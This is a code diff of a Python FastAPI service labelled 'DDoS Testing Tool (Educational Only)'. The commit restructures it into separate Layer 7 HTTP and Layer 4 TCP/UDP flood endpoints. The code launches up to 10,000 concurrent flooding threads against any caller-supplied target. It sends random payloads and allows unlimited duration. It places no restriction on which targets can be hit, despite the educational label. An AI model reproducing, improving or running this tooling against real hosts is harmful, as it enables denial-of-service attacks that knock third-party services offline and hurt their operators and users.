Update main.py
Browse files
main.py
CHANGED
|
@@ -8,26 +8,31 @@ import time
|
|
| 8 |
import logging
|
| 9 |
import socket
|
| 10 |
import random
|
| 11 |
-
from typing import Optional
|
| 12 |
from concurrent.futures import ThreadPoolExecutor
|
| 13 |
|
| 14 |
logging.basicConfig(level=logging.INFO)
|
| 15 |
logger = logging.getLogger(__name__)
|
| 16 |
|
| 17 |
-
app = FastAPI(title="
|
| 18 |
|
| 19 |
# Global attack control
|
| 20 |
attack_active = False
|
| 21 |
attack_thread = None
|
| 22 |
executor = ThreadPoolExecutor(max_workers=10000) # Maximum power mode
|
| 23 |
|
| 24 |
-
class
|
| 25 |
target: str
|
| 26 |
port: int = 80
|
| 27 |
duration: int = 30 # -1 for unlimited
|
| 28 |
threads: int = 100 # -1 for unlimited
|
| 29 |
-
|
| 30 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 31 |
|
| 32 |
def generate_payload(size: int) -> bytes:
|
| 33 |
"""Generate random payload for Layer 4 attacks"""
|
|
@@ -71,47 +76,78 @@ def layer4_attack(target_ip: str, port: int, protocol: str, payload_size: int):
|
|
| 71 |
if sock:
|
| 72 |
sock.close()
|
| 73 |
|
| 74 |
-
def
|
| 75 |
-
global attack_active
|
| 76 |
attack_active = True
|
| 77 |
|
| 78 |
# Determine thread count
|
| 79 |
thread_count = config.threads if config.threads != -1 else 10000
|
| 80 |
|
| 81 |
-
# Build target URL
|
| 82 |
-
if config.
|
| 83 |
-
|
| 84 |
-
|
| 85 |
-
|
|
|
|
|
|
|
| 86 |
|
| 87 |
-
|
| 88 |
-
|
|
|
|
|
|
|
| 89 |
else:
|
| 90 |
-
|
| 91 |
-
try:
|
| 92 |
-
target_ip = socket.gethostbyname(config.target.split("//")[-1].split("/")[0])
|
| 93 |
-
except:
|
| 94 |
-
raise HTTPException(status_code=400, detail="Invalid target URL")
|
| 95 |
|
| 96 |
-
|
|
|
|
|
|
|
| 97 |
|
| 98 |
-
|
| 99 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 100 |
|
| 101 |
# Handle unlimited duration (-1)
|
| 102 |
if config.duration != -1:
|
| 103 |
time.sleep(config.duration)
|
| 104 |
stop_attack()
|
| 105 |
else:
|
| 106 |
-
logger.info("
|
| 107 |
|
| 108 |
def stop_attack():
|
| 109 |
global attack_active
|
| 110 |
attack_active = False
|
| 111 |
logger.info("Attack stopped.")
|
| 112 |
|
| 113 |
-
@app.post("/attack")
|
| 114 |
-
def
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 115 |
global attack_thread
|
| 116 |
if attack_thread and attack_thread.is_alive():
|
| 117 |
raise HTTPException(status_code=400, detail="Attack already in progress")
|
|
@@ -128,9 +164,9 @@ def launch_attack(config: AttackConfig):
|
|
| 128 |
if config.payload_size > 65507:
|
| 129 |
raise HTTPException(status_code=400, detail="Max payload size is 65507 bytes")
|
| 130 |
|
| 131 |
-
attack_thread = threading.Thread(target=
|
| 132 |
attack_thread.start()
|
| 133 |
-
return {"status": "
|
| 134 |
|
| 135 |
@app.post("/stop")
|
| 136 |
def stop():
|
|
|
|
| 8 |
import logging
|
| 9 |
import socket
|
| 10 |
import random
|
|
|
|
| 11 |
from concurrent.futures import ThreadPoolExecutor
|
| 12 |
|
| 13 |
logging.basicConfig(level=logging.INFO)
|
| 14 |
logger = logging.getLogger(__name__)
|
| 15 |
|
| 16 |
+
app = FastAPI(title="DDoS Testing Tool (Educational Only)")
|
| 17 |
|
| 18 |
# Global attack control
|
| 19 |
attack_active = False
|
| 20 |
attack_thread = None
|
| 21 |
executor = ThreadPoolExecutor(max_workers=10000) # Maximum power mode
|
| 22 |
|
| 23 |
+
class Layer7Config(BaseModel):
|
| 24 |
target: str
|
| 25 |
port: int = 80
|
| 26 |
duration: int = 30 # -1 for unlimited
|
| 27 |
threads: int = 100 # -1 for unlimited
|
| 28 |
+
|
| 29 |
+
class Layer4Config(BaseModel):
|
| 30 |
+
target: str
|
| 31 |
+
port: int = 80
|
| 32 |
+
duration: int = 30 # -1 for unlimited
|
| 33 |
+
threads: int = 100 # -1 for unlimited
|
| 34 |
+
protocol: constr(regex='^(tcp|udp)$') = "tcp"
|
| 35 |
+
payload_size: int = 1024
|
| 36 |
|
| 37 |
def generate_payload(size: int) -> bytes:
|
| 38 |
"""Generate random payload for Layer 4 attacks"""
|
|
|
|
| 76 |
if sock:
|
| 77 |
sock.close()
|
| 78 |
|
| 79 |
+
def start_layer7_attack(config: Layer7Config):
|
| 80 |
+
global attack_active
|
| 81 |
attack_active = True
|
| 82 |
|
| 83 |
# Determine thread count
|
| 84 |
thread_count = config.threads if config.threads != -1 else 10000
|
| 85 |
|
| 86 |
+
# Build target URL
|
| 87 |
+
protocol = "https" if config.target.startswith("https") else "http"
|
| 88 |
+
target_url = f"{config.target}:{config.port}"
|
| 89 |
+
logger.info(f"Starting Layer 7 attack on {target_url} with {thread_count} threads")
|
| 90 |
+
|
| 91 |
+
for _ in range(thread_count):
|
| 92 |
+
executor.submit(layer7_attack, target_url)
|
| 93 |
|
| 94 |
+
# Handle unlimited duration (-1)
|
| 95 |
+
if config.duration != -1:
|
| 96 |
+
time.sleep(config.duration)
|
| 97 |
+
stop_attack()
|
| 98 |
else:
|
| 99 |
+
logger.info("Layer 7 attack running indefinitely until manually stopped")
|
|
|
|
|
|
|
|
|
|
|
|
|
| 100 |
|
| 101 |
+
def start_layer4_attack(config: Layer4Config):
|
| 102 |
+
global attack_active
|
| 103 |
+
attack_active = True
|
| 104 |
|
| 105 |
+
# Determine thread count
|
| 106 |
+
thread_count = config.threads if config.threads != -1 else 10000
|
| 107 |
+
|
| 108 |
+
# Extract IP from target URL
|
| 109 |
+
try:
|
| 110 |
+
target_ip = socket.gethostbyname(config.target.split("//")[-1].split("/")[0])
|
| 111 |
+
except:
|
| 112 |
+
raise HTTPException(status_code=400, detail="Invalid target URL")
|
| 113 |
+
|
| 114 |
+
logger.info(f"Starting {config.protocol.upper()} attack on {target_ip}:{config.port} with {thread_count} threads")
|
| 115 |
+
|
| 116 |
+
for _ in range(thread_count):
|
| 117 |
+
executor.submit(layer4_attack, target_ip, config.port, config.protocol, config.payload_size)
|
| 118 |
|
| 119 |
# Handle unlimited duration (-1)
|
| 120 |
if config.duration != -1:
|
| 121 |
time.sleep(config.duration)
|
| 122 |
stop_attack()
|
| 123 |
else:
|
| 124 |
+
logger.info(f"{config.protocol.upper()} attack running indefinitely until manually stopped")
|
| 125 |
|
| 126 |
def stop_attack():
|
| 127 |
global attack_active
|
| 128 |
attack_active = False
|
| 129 |
logger.info("Attack stopped.")
|
| 130 |
|
| 131 |
+
@app.post("/layer7/attack")
|
| 132 |
+
def launch_layer7_attack(config: Layer7Config):
|
| 133 |
+
global attack_thread
|
| 134 |
+
if attack_thread and attack_thread.is_alive():
|
| 135 |
+
raise HTTPException(status_code=400, detail="Attack already in progress")
|
| 136 |
+
|
| 137 |
+
# Validate thread count
|
| 138 |
+
if config.threads != -1 and config.threads > 10000:
|
| 139 |
+
raise HTTPException(status_code=400, detail="Max 10,000 threads allowed (use -1 for unlimited)")
|
| 140 |
+
|
| 141 |
+
# Validate duration
|
| 142 |
+
if config.duration != -1 and config.duration > 5000:
|
| 143 |
+
raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")
|
| 144 |
+
|
| 145 |
+
attack_thread = threading.Thread(target=start_layer7_attack, args=(config,), daemon=True)
|
| 146 |
+
attack_thread.start()
|
| 147 |
+
return {"status": "layer7_attack_started", "config": config}
|
| 148 |
+
|
| 149 |
+
@app.post("/layer4/attack")
|
| 150 |
+
def launch_layer4_attack(config: Layer4Config):
|
| 151 |
global attack_thread
|
| 152 |
if attack_thread and attack_thread.is_alive():
|
| 153 |
raise HTTPException(status_code=400, detail="Attack already in progress")
|
|
|
|
| 164 |
if config.payload_size > 65507:
|
| 165 |
raise HTTPException(status_code=400, detail="Max payload size is 65507 bytes")
|
| 166 |
|
| 167 |
+
attack_thread = threading.Thread(target=start_layer4_attack, args=(config,), daemon=True)
|
| 168 |
attack_thread.start()
|
| 169 |
+
return {"status": f"{config.protocol}_attack_started", "config": config}
|
| 170 |
|
| 171 |
@app.post("/stop")
|
| 172 |
def stop():
|